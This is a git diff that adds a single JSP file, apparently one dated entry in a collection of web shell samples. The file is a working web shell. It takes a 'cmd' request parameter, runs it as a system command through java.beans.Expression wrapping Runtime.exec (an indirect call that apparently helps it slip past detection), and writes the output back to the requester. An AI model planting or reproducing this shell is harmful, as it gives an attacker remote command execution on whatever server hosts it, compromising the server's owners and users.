diff --git a/jsp/2022-09-03-03.jsp b/jsp/2022-09-03-03.jsp
new file mode 100644
index 0000000..1f5847f
--- /dev/null
+++ b/jsp/2022-09-03-03.jsp
@@ -0,0 +1,17 @@
+<%@ page import="java.beans.Expression" %>
+<%@ page import="java.io.InputStreamReader" %>
+<%@ page import="java.io.BufferedReader" %>
+<%@ page import="java.io.InputStream" %>
+<%@ page language="java" pageEncoding="UTF-8" %>
+<%
+  String cmd = request.getParameter("cmd");
+  Expression expr = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});
+
+  Process process = (Process) expr.getValue();
+  InputStream in = process.getInputStream();
+  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
+  String tmp = null;
+  while((tmp = bufferedReader.readLine())!=null){
+    response.getWriter().println(tmp);
+  }
+%>